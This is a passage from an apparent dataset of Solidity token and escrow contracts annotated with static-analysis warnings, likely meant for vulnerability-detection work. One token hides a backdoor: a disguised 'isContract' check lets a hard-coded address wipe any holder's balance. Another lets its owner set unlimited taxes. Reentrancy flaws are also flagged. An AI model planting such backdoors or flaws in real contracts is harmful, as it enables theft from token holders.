return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 2f4880d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab4ab4f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab4ab4f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 568f1d3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 568f1d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function voidContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n bool _senderStatus = voidCheck[msg.sender][_contractId];\n\n require(!_senderStatus, \"Already voided on your end\");\n\n voidCheck[msg.sender][_contractId] = true;\n\n if (!_contract.active && msg.sender == _contract.payer) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-events | ID: b16724d\n\t\t\t\t// reentrancy-events | ID: 61d4a83\n\t\t\t\t// reentrancy-eth | ID: ab4ab4f\n\t\t\t\t// reentrancy-eth | ID: 568f1d3\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-events | ID: b16724d\n\t\t\t\t// reentrancy-events | ID: 61d4a83\n\t\t\t\t// reentrancy-no-eth | ID: 99bf834\n\t\t\t\t// unchecked-transfer | ID: 2f4880d\n\t\t\t\t// reentrancy-eth | ID: ab4ab4f\n\t\t\t\t// reentrancy-eth | ID: 568f1d3\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 99bf834\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-events | ID: 61d4a83\n emit ContractVoided(_contractId);\n }\n\n address _otherParty;\n\n if (msg.sender == _contract.payer) {\n _otherParty = _contract.payee;\n } else {\n _otherParty = _contract.payer;\n }\n\n bool _otherPartyStatus = voidCheck[_otherParty][_contractId];\n\n if (_otherPartyStatus) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-events | ID: b16724d\n\t\t\t\t// reentrancy-eth | ID: 568f1d3\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n\t\t\t\t// reentrancy-eth | ID: 568f1d3\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-events | ID: b16724d\n\t\t\t\t// unchecked-transfer | ID: 1fe1657\n\t\t\t\t// reentrancy-eth | ID: ab4ab4f\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: ab4ab4f\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-events | ID: b16724d\n emit ContractVoided(_contractId);\n }\n }\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (Milestone[] memory milestones) {\n Contract storage _contract = contracts[_contractId];\n\n uint256 length = _contract.milestones.length;\n\n milestones = new Milestone[](length);\n\n for (uint256 i = 0; i < length; i++) {\n milestones[i] = _contract.milestones[i];\n }\n }\n}\n",
"file_name": "solidity_code_10243.sol",
"size_bytes": 36465,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"MAGADOGE\", unicode\"MAGADOGE\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10244.sol",
"size_bytes": 7314,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed ownerAddress,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address ownerAddress,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 20;\n\n uint256 public sellTax = 20;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function hasSequentialIdenticalBytes(\n address addr,\n uint8 count\n ) public pure returns (bool) {\n require(count > 1 && count <= 20, \"Count must be between 2 and 20\");\n\n bytes20 addrBytes = bytes20(addr);\n\n uint256 sequentialCount = 1;\n\n for (uint256 i = 1; i < 20; i++) {\n if (addrBytes[i] == addrBytes[i - 1]) {\n sequentialCount++;\n\n if (sequentialCount >= count) {\n return true;\n }\n } else {\n sequentialCount = 1;\n }\n }\n\n return false;\n }\n\n function hasMatchingFirstAndLastByte(\n address addr\n ) public pure returns (bool) {\n bytes20 addrBytes = bytes20(addr);\n\n return addrBytes[0] == addrBytes[19];\n }\n\n function isWithinHour(uint8 hour) public view returns (bool) {\n require(hour < 24, \"Hour must be between 0 and 23\");\n\n\t\t// weak-prng | ID: 262f17f\n uint256 currentHour = (block.timestamp / 60 / 60) % 24;\n\n\t\t// timestamp | ID: 7ce2b70\n\t\t// incorrect-equality | ID: cf2fb55\n return currentHour == hour;\n }\n\n function isEvenEpochTime() public view returns (bool) {\n\t\t// timestamp | ID: 0778889\n\t\t// incorrect-equality | ID: 32ab724\n\t\t// weak-prng | ID: 5726069\n return block.timestamp % 2 == 0;\n }\n}\n\ncontract FaustTweet2 is ERC20 {\n constructor()\n ERC20(unicode\"Donald Trump Jr Dog\", unicode\"SCOUT\", 1000000000)\n {}\n}\n",
"file_name": "solidity_code_10245.sol",
"size_bytes": 8875,
"vulnerability": 0
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HENLO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8504735): HENLO._taxWallet should be immutable \n\t// Recommendation for 8504735: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b09cccf): HENLO._initialBuyTax should be constant \n\t// Recommendation for b09cccf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 252b38c): HENLO._initialSellTax should be constant \n\t// Recommendation for 252b38c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa639d1): HENLO._finalBuyTax should be constant \n\t// Recommendation for aa639d1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ea803ea): HENLO._finalSellTax should be constant \n\t// Recommendation for ea803ea: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: db02044): HENLO._reduceBuyTaxAt should be constant \n\t// Recommendation for db02044: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a1538b): HENLO._reduceSellTaxAt should be constant \n\t// Recommendation for 2a1538b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4cc5bfd): HENLO._preventSwapBefore should be constant \n\t// Recommendation for 4cc5bfd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HENLO\";\n\n string private constant _symbol = unicode\"HENLO\";\n\n uint256 public _maxTxAmount = 30000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 30000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d7a050): HENLO._taxSwapThreshold should be constant \n\t// Recommendation for 2d7a050: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 199e0c4): HENLO._maxTaxSwap should be constant \n\t// Recommendation for 199e0c4: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1dcaefa): HENLO.uniswapV2Router should be immutable \n\t// Recommendation for 1dcaefa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ce4e3a): HENLO.uniswapV2Pair should be immutable \n\t// Recommendation for 9ce4e3a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: af43ef0): HENLO.sellsPerBlock should be constant \n\t// Recommendation for af43ef0: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: eacb307): HENLO.buysFirstBlock should be constant \n\t// Recommendation for eacb307: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6366f48): HENLO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6366f48: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: cb133c0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for cb133c0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 64f8bf0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 64f8bf0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: cb133c0\n\t\t// reentrancy-benign | ID: 64f8bf0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: cb133c0\n\t\t// reentrancy-benign | ID: 64f8bf0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 21a140a): HENLO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 21a140a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 64f8bf0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: cb133c0\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73bd747): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73bd747: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 4ea2dae): HENLO._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 4ea2dae: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 31ee5cf): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 31ee5cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bbdb573): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bbdb573: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 4ea2dae\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 73bd747\n\t\t\t\t// reentrancy-eth | ID: 31ee5cf\n\t\t\t\t// reentrancy-eth | ID: bbdb573\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = 